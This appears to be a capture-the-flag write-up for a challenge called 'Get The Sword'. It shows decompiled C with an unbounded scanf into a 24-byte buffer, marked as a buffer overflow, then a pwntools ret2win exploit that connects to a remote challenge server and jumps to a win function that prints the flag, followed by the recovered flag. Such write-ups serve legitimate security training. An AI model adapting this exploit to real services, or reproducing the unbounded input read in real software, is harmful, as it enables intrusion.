Get The Sword
Last updated
Last updated
undefined4 main(void)
{
printSword();
intro();
return 0;
}
void printSword(void)
{
puts(" />_________________________________");
puts("[#####[]_________________________________>");
puts(" \\>");
fflush(stdout);
return;
}
void intro(void)
{
undefined local_20 [24];
printf("What do you want ? ?: ");
fflush(stdout);
__isoc99_scanf(&%s,local_20); // BOF vulnerability
printf("You want, %s\n",local_20);
return;
}
// win function
void getSword(void)
{
system("cat flag.txt");
fflush(stdout);
return;
}from pwn import *
# Set up pwntools for the correct architecture
exe = './get_sword'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'info'
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# io = process(exe)
io = remote('173.255.201.51', 31337)
offset = 32
ret = 0x0804900e #ret gadget (ropper --file=ret2win --search="ret")
payload = flat(
offset * b'A',
elf.functions.getSword
)
io.sendlineafter(b':', payload)
io.interactive()KCTF{so_you_g0t_the_sw0rd}